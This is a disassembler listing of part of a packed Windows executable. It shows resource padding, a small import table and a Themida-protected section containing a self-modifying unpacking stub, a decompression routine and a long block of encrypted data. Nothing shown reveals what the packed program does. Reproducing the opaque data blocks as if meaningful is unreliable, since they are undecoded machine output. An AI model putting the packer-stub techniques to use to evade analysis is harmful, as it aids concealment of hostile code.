db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
_rsrc___ ends
; Section 3. (virtual address 00114000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00114000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 514000h
dd 7C801A24h, 7C81CDDAh, 0
aE db 'Οe',9,']',0
align 10h
dd 114050h, 114000h, 3 dup(0)
dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 00115000)
; Virtual size : 00109000 (1085440.)
; Section size in file : 00109000 (1085440.)
; Offset to raw data for section: 00115000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 515000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 0F5436A0Eh, 40CB7h, 5F836h, 15A172h, 0
; ---------------------------------------------------------------------------
mov eax, 0
pusha
or eax, eax
jz short loc_515086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_515041
popa
jmp short loc_515076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
inc eax
loc_515041: ; CODE XREF: Themida_:0051502Cj
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_51504E: ; CODE XREF: Themida_:00515072j
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_51506D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_515074
loc_51506D: ; CODE XREF: Themida_:00515059j
sub eax, 1000h
jmp short loc_51504E
; ---------------------------------------------------------------------------
loc_515074: ; CODE XREF: Themida_:0051506Bj
mov edi, eax
loc_515076: ; CODE XREF: Themida_:0051502Fj
jmp loc_515265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 11526Ah
add ecx, edi
jmp short loc_515090
; ---------------------------------------------------------------------------
loc_515086: ; CODE XREF: Themida_:0051501Cj
mov eax, offset loc_58248B
mov ecx, offset word_51526A
loc_515090: ; CODE XREF: Themida_:00515084j
push eax
push ecx
call sub_51511B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_515265
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_51511B proc near ; CODE XREF: Themida_:00515092p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_515132: ; CODE XREF: sub_51511B+7Aj
; sub_51511B+C3j ...
add dl, dl
jnz short loc_51513B
mov dl, [esi]
inc esi
adc dl, dl
loc_51513B: ; CODE XREF: sub_51511B+19j
jnb short loc_515127
add dl, dl
jnz short loc_515146
mov dl, [esi]
inc esi
adc dl, dl
loc_515146: ; CODE XREF: sub_51511B+24j
jnb short loc_515197
xor eax, eax
add dl, dl
jnz short loc_515153
mov dl, [esi]
inc esi
adc dl, dl
loc_515153: ; CODE XREF: sub_51511B+31j
jnb loc_515238
add dl, dl
jnz short loc_515162
mov dl, [esi]
inc esi
adc dl, dl
loc_515162: ; CODE XREF: sub_51511B+40j
adc eax, eax
add dl, dl
jnz short loc_51516D
mov dl, [esi]
inc esi
adc dl, dl
loc_51516D: ; CODE XREF: sub_51511B+4Bj
adc eax, eax
add dl, dl
jnz short loc_515178
mov dl, [esi]
inc esi
adc dl, dl
loc_515178: ; CODE XREF: sub_51511B+56j
adc eax, eax
add dl, dl
jnz short loc_515183
mov dl, [esi]
inc esi
adc dl, dl
loc_515183: ; CODE XREF: sub_51511B+61j
adc eax, eax
jz short loc_51518D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_51518D: ; CODE XREF: sub_51511B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_515132
; ---------------------------------------------------------------------------
loc_515197: ; CODE XREF: sub_51511B:loc_515146j
mov eax, 1
loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j
add dl, dl
jnz short loc_5151A5
mov dl, [esi]
inc esi
adc dl, dl
loc_5151A5: ; CODE XREF: sub_51511B+83j
adc eax, eax
add dl, dl
jnz short loc_5151B0
mov dl, [esi]
inc esi
adc dl, dl
loc_5151B0: ; CODE XREF: sub_51511B+8Ej
jb short loc_51519C
sub eax, ebx
mov ebx, 1
jnz short loc_5151E3
mov ecx, 1
loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j
add dl, dl
jnz short loc_5151C9
mov dl, [esi]
inc esi
adc dl, dl
loc_5151C9: ; CODE XREF: sub_51511B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_5151D4
mov dl, [esi]
inc esi
adc dl, dl
loc_5151D4: ; CODE XREF: sub_51511B+B2j
jb short loc_5151C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_5151E3: ; CODE XREF: sub_51511B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j
add dl, dl
jnz short loc_5151FA
mov dl, [esi]
inc esi
adc dl, dl
loc_5151FA: ; CODE XREF: sub_51511B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_515205
mov dl, [esi]
inc esi
adc dl, dl
loc_515205: ; CODE XREF: sub_51511B+E3j
jb short loc_5151F1
cmp eax, 7D00h
jnb short loc_515228
cmp eax, 500h
jb short loc_515223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515223: ; CODE XREF: sub_51511B+F8j
cmp eax, 7Fh
ja short loc_51522B
loc_515228: ; CODE XREF: sub_51511B+F1j
add ecx, 2
loc_51522B: ; CODE XREF: sub_51511B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515238: ; CODE XREF: sub_51511B:loc_515153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_515259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_515132
; ---------------------------------------------------------------------------
loc_515259: ; CODE XREF: sub_51511B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_51511B endp
; ---------------------------------------------------------------------------
loc_515265: ; CODE XREF: Themida_:loc_515076j
; Themida_:005150B1j
jmp loc_58248B
; ---------------------------------------------------------------------------
word_51526A dw 38E9h ; DATA XREF: Themida_:0051508Bo
db 90h
db 35h, 52h, 1
dd 2E98F2EAh, 0C8AFAE10h, 0FA43B836h, 112E92F2h, 3321AFBBh
dd 0FFFA10EEh, 646501F2h, 356BFE7Dh, 7F02D302h, 0A404F062h
dd 68CF7807h, 122CAFFh, 572C4F69h, 983301F9h, 10AFDAEh
dd 0B87188FFh, 2422BF46h, 0FFEB0EE1h, 73655201h, 0CC726174h
dd 2EE27041h, 0C2F978F4h, 1145761Fh, 21F91FC2h, 78D70817h
dd 65076854h, 6164696Dh, 27FD5F08h, 0F8D78C45h, 0D4E4C58Bh
dd 0AE86028h, 0ED815D00h, 7E4359Fh, 49951889h, 11B50D06h
dd 20850F44h, 83081271h, 380E65BDh, 8B0C7407h, 0B8E222E8h
dd 0C27B8164h, 244470C7h, 40513E1Ch, 45186A15h, 6829A3E8h
dd 83743E9Ah, 0ADF507Ah, 894B1E25h, 0AD5910Ah, 0EC0214E9h
dd 8B55D057h, 0C483EC0Ah, 5AC0EED8h, 408DEA81h, 0DA098B36h
dd 1BD845C7h, 400E1808h, 7D810889h, 1DC680FCh, 7F200F74h
dd 0F7832408h, 12FF9810h, 0E163EB43h, 7461DC36h, 0C2C91426h
dd 81064604h, 2FF7CC4h, 0D644498Eh, 8045018Dh, 0C7085D8Bh
dd 4A194485h, 0A8D50h, 1888C3D1h, 0BA88941h, 6A2BD81h
dd 0E3755D02h, 8D282794h, 75EC64BAh, 0E8A8004h, 5B90F4BBh
dd 0F37ABB8h, 0D0D37854h, 4B080FCCh, 5F7753Bh, 4647C3AFh
dd 46624A24h, 0D142A2F9h, 78ABA61h, 0D85FF0D0h, 0A0FC45EEh
dd 0A304EB4Dh, 8046C8ADh, 0F740C53Eh, 348436BAh, 0C197DE6h
dd 0F83E7FEBh, 12C86D0Ch, 0F40E4CF0h, 0C14A10A8h, 4F06514h
dd 0D1F803D6h, 96C203E0h, 0DB330128h, 80301C8Ah, 0A72CCFBh
dd 77390AC3h, 0EFEBD305h, 7F142226h, 0A0D6761h, 1E08F666h
dd 0AC3F4F5h, 1AC310EAh, 0D0B7241h, 677460Ah, 121EA24h
dd 0EC87F05Dh, 317D83F4h, 0B3B07202h, 7676C00Ch, 26AA64A5h
dd 76E01CF8h, 3BA8A08Dh, 0FFC0A55h, 9CBD7882h, 38AA1BB0h
dd 8BA0EE5h, 700AB90Eh, 1CBD84FCh, 0FFE0038h, 1C754947h
dd 5D22B9FAh, 1BBC06Ah, 82F11251h, 2DDEB76h, 0F868E80h
dd 0FE08E53Ah, 0FD36E065h, 268A7317h, 91E94FBCh, 0DE6B591Fh
dd 13045853h, 0C4725B21h, 25558A03h, 30458205h, 43211508h
dd 7400C453h, 0D3BC6757h, 22105C6Bh, 0FA600281h, 67C32C02h
dd 64F41982h, 80F17A1Ch, 0E0B810DCh, 0E134CB8Ch, 4E392281h
dd 830F765Bh, 43D511Ch, 0B33BE3D1h, 75520E46h, 11AC2E09h
dd 0EC05480Eh, 69065E4h, 0C5846300h, 54968E05h, 8F538022h
dd 29C2040Ah, 0E8718C8Ch, 0A60EDBE7h, 2B0CFFB3h, 22047781h
dd 0C134011Dh, 7533F984h, 3FBC9020h, 680A7677h, 0E8330EFh
dd 8C26EC41h, 0FF7ECC7Fh, 453F4043h, 4060E9A9h, 8C52C462h
dd 11254D02h, 13B1AA82h, 845AAB34h, 98561322h, 2A825EE6h
dd 0A0812DEEh, 8139EB07h, 44B9F58Ah, 97230A13h, 0CE95043h
dd 200A11CFh, 0F79ACC74h, 7FCB00A3h, 0F081446Dh, 0B8005CE9h
dd 0DA8D67FFh, 1F0CBC53h, 471029Eh, 8205E281h, 5930512Bh
dd 468AE4C4h, 1B2245h, 81C45141h, 93C3DEEEh, 0EAAB650Ch
dd 81F0Dh, 4C0776A2h, 44BC505Eh, 7AB24E01h, 8610CA0Bh
dd 612912D7h, 315420EAh, 3800842Eh, 16FC7B19h, 3BAA2F04h
dd 0F000D03Ah, 1F82DB86h, 0C7248BF7h, 23076662h, 16D2C839h
dd 699B8A21h, 8C52CC4Ch, 11C45A39h, 1D884D8Ah, 0C4524280h
dd 884BEh, 0AF7DB50Eh, 14EA3CA4h, 0C0E323CEh, 0EDAEF27Fh
dd 89C7072Bh, 0B7A66Dh, 18454A27h, 67DFB000h, 0C010E08Ch
dd 816CAAD9h, 167DCC3Ch, 3F581EA1h, 87A444C5h, 36CADA91h
dd 5446C21Ah, 88C45C1Ch, 1AC45D8Ah, 0C4544440h, 27036A0Dh
dd 0EADD6784h, 0F01D000Fh, 6B81B0FAh, 0D201600Ah, 0AEC69A49h
dd 9C865879h, 7E1376DCh, 30224220h, 3B3D07E9h, 0D0EE3224h
dd 0C2DE9960h, 608D1060h, 96B12103h, 0BC30C882h, 0BFF91076h
dd 78F61213h, 0C9B1063Ch, 0D3000DD8h, 65239DBh, 9861208Ch
dd 8B238041h, 826200C6h, 0E6124DC4h, 8FA4EA20h, 0FBD6943Fh
dd 0A9DEE413h, 9965000h, 788C4EA4h, 40EC1CD4h, 672B40E8h
dd 54720FB9h, 6BFBA3Ah, 890645Fh, 69BE0018h, 0B503F084h
dd 89E3507Fh, 44FD4CEh, 0EA460E47h, 6F120B1Ch, 6402EC32h
dd 8F4442A1h, 624AE794h, 7B909D35h, 1F149A0Fh, 0F7A795h
dd 0D667F5EEh, 5F0E4860h, 0C05D85FEh, 1DBD1FC6h, 0A9FA71h
dd 0A12D910Ah, 538FDF5Fh, 616008CFh, 0C9C1BD3Ah, 0F579DD4h
dd 614EC2B3h, 0BDD9BC0h, 641846AEh, 4831BFE7h, 97860390h
dd 2869E5AAh, 0FDE09BC0h, 0D1115818h, 9956A81h, 24DA4CC2h
dd 0E6217C00h, 52004527h, 4FC0F10Bh, 0A68194h, 205912B8h
dd 4234E6C6h, 87E9B638h, 80579CE5h, 906CFBE0h, 0D2BE1DF0h
dd 65564C02h, 0ED00DF60h, 66C80C49h, 0FCF1855h, 69D21AAEh
dd 0BC62C2C0h, 600C4842h, 0B95CEBEFh, 0C184603Fh, 0CE7CBC23h
dd 70515706h, 0C3198CDDh, 0FC3A5DD0h, 0D1CE9D6h, 178A2A22h
dd 2507F916h, 0A7EEE319h, 4FE4F4h, 0B8C06879h, 955F0031h
dd 0AC8B2E2Ch, 0C8031081h, 6A180540h, 87391B8Ah, 7AC041ADh
dd 0AB0CA00Eh, 30825F8Eh, 413C186Eh, 4AAF3601h, 2CEC5800h
dd 17C96B62h, 22E118F5h, 42054138h, 7948BCF1h, 28A2C107h
dd 99803685h, 30B2Dh, 41ACCF14h, 4AA16362h, 0C86A40C7h
dd 196D7381h, 3FA10BEh, 97051EB6h, 7018FEAEh, 54595542h
dd 0D8630788h, 40A416B4h, 0DDD6D1BEh, 0A70D7300h, 0E54550Bh
dd 5200B0C9h, 5308C1Bh, 20FF39E1h, 5296B700h, 0A953124Fh
dd 55060062h, 406BDA29h, 6A7A7BAFh, 8AACFE38h, 84B15F86h
dd 0E40B3B00h, 0DDC772h, 643DF88h, 4CE67A12h, 217090A0h
dd 5E0074B8h, 5AD9AA8Ah, 39E7E3D5h, 0AC37096Fh, 8B263118h
dd 1B50837Bh, 1AA887h, 706DF299h, 8D73A9FDh, 0A5844050h
dd 0EEEAA014h, 24940180h, 0E2DC8C84h, 0C1213080h, 0C87365CEh
dd 0E89E0503h, 0C820CB24h, 618CAC03h, 30C45916h, 6BC47009h
dd 0E217211Bh, 0E797F988h, 873BA850h, 310460A1h, 7B11EE79h
dd 8C28B763h, 54190017h, 0F1AF0952h, 0D8A03DF7h, 4146196Bh
dd 2F0F4000h, 5EAA91FEh, 38B4AB24h, 169F0583h, 7CC80311h
dd 61941BC2h, 68A06B8Ah, 0F28A4B9Ch, 0F40CEC00h, 57F50B86h
dd 7B5E0C04h, 87684391h, 0E248AA50h, 2D31731Bh, 5C04A018h
dd 4E3D33D3h, 80104010h, 50128A8Bh, 0DE744390h, 0FAD0054Ah
dd 660030C9h, 0AA5B20C5h, 5CDC7A50h, 0D862732Dh, 0E5301BB1h
dd 1249215h, 95443CA6h, 0C4F3C043h, 0C43C3EC8h, 126280FAh
dd 7A3DBF40h, 28C31D4Dh, 15AC80D0h, 0A6A0AD1Fh, 4F80E854h
dd 1E918660h, 3A815B8h, 39E26B57h, 0F03F7413h, 4497C4D5h
dd 8B06ED1Ah, 4DA90A5h, 0BF140248h, 63184DACh, 0A50DE444h
dd 690316B8h, 0ED39F61h, 0E2BF65B9h, 6E1C811Dh, 34961642h
dd 0F8091914h, 10DEBB11h, 81B12350h, 5C44F23Ah, 202EA23Eh
dd 59E3079Bh, 0E6BE5015h, 25006119h, 0E41D735Eh, 15D7E1F6h
dd 0A08BC78Dh, 0A90F0A00h, 37097048h, 0A150FD60h, 8CCE59h
dd 54B4103Bh, 3222A4DEh, 1CEDFF00h, 36CB7AABh, 0A26C00B3h
dd 5930CD6Dh, 0C77EBBF5h, 57062707h, 5E475063h, 546AEA70h
dd 0CDC4073Ch, 81F0645Bh, 0F012DA30h, 0AF7EE4A4h, 0B31F670Fh
dd 0F52181EBh, 94E4D4D3h, 0E05100EFh, 5A620B97h, 0F009022h
dd 3A36275Ch, 87CE49h, 8C2495C7h, 8E979666h, 67782892h
dd 4239E81Fh, 70801855h, 4C6E6300h, 0C54A45B5h, 28E90007h
dd 0C97F5CFDh, 0FB498EAAh
dd 96E0248h, 8F5F0B53h, 0A61B84B8h, 28C09806h, 8B3F720h
dd 137B09E6h, 0DF17000h, 0AC403DAh, 0E39AF96Fh, 9BDC00A4h
dd 65FF5D47h, 9F3DC013h, 35ADAC04h, 71C1E223h, 849D001Fh
dd 0F9F00D1Bh, 4C40FC2Eh, 0A61F61C0h, 6E006A2Dh, 8374DBC2h
dd 96220C81h, 0EA9085EBh, 0F8AA0773h, 70B87C27h, 2DFEAD41h
dd 74616300h, 9ED4F8B7h, 9DC82CACh, 0BDBF0144h, 20516E0Ah
dd 77410730h, 998B31FCh, 94DD0E54h, 6D7FB920h, 0B5054154h
dd 5F701EFh, 0D5228000h, 194CAC1Eh, 40918B86h, 0DBC3070h
dd 23618AB8h, 66187C99h, 3C488822h, 26067610h, 0C71CC487h
dd 7D7C1220h, 40B010C2h, 0B8687700h, 0AEC7201Ch, 0EA796C06h
dd 3E592212h, 0E203D3D2h, 756E1862h, 849C6149h, 0A897EC42h
dd 0E13EE550h, 28630048h, 0FADE0DD1h, 6403345Bh, 0E3E94955h
dd 79593CC3h, 0A2879205h, 0E6C44080h, 0BAB05DC2h, 2B882E7h
dd 862BFD64h, 22413DE0h, 8880A3DEh, 938083EFh, 9B141AD0h
dd 0F40289B8h, 0A08018D6h, 872FEF79h, 392CAC07h, 409064D7h
dd 5855A23Dh, 4173EC02h, 0F8EC57EFh, 21E8A14Eh, 48821B9Bh
dd 923B8E4Ch, 2418E0A5h, 0B214CCBCh, 0A1E09101h, 11E5CA29h
dd 8A302180h, 15A320FBh, 0A001CF7Fh, 0DB7D7379h, 68EC4BE0h
dd 116B1CFDh, 6843D8BDh, 80400326h, 0A6E7F73Ah, 0C3B0061h
dd 0AFC83456h, 962C6F93h, 0E380340Bh, 6E7902E4h, 0DF73019h
dd 0E842A4B0h, 0A351EB04h, 88C09EC7h, 60FB0170h, 0CAD52011h
dd 0D30B5018h, 8587C87Ah, 0A041EDF6h, 0EA723B09h, 32682C4h
dd 93641B01h, 28431AD3h, 30F600F8h, 2F925C51h, 0F9FB0048h
dd 0F3A70BD4h, 0D201DA14h, 18419C6Fh, 1C228265h, 8811AB10h
dd 94248055h, 0DAA641D0h, 0A1FA401h, 7F9EB91Dh, 788A7F70h
dd 943D5CE6h, 5E20613h, 4029E5B4h, 80F18DB0h, 2B0014AEh
dd 9403C6DEh, 599F116Fh, 9511F8DBh, 0EFE840E4h, 0A81340h
dd 801DED26h, 0AF113710h, 3B6C3A16h, 0D0393803h, 19701603h
dd 0BFAC411Ah, 0C83DC721h, 0F1597BE3h, 0ABA30494h, 30A1FB26h
dd 79AAC003h, 63961A79h, 48131987h, 92F023DCh, 0BD48690Bh
dd 180AD1BEh, 42987A71h, 0ED110996h, 808C0310h, 11597700h
dd 0D4F2C0FEh, 9F5C0CA8h, 30492BE5h, 5E1EDCF8h, 0AB841385h
dd 0B4943D8Ch, 10059CD8h, 3EB3E97h, 0A8A504ABh, 510BE36h
dd 8AD5E82Bh, 651C045Dh, 8C404581h, 0BD364C00h, 2FF3F8h
dd 19E9A298h, 6DAD32FBh, 0F7F9F601h, 2E2DDB61h, 533E424h
dd 1640365Bh, 6884205Eh, 0E83D51B7h, 9A0F12B9h, 7A14BB01h
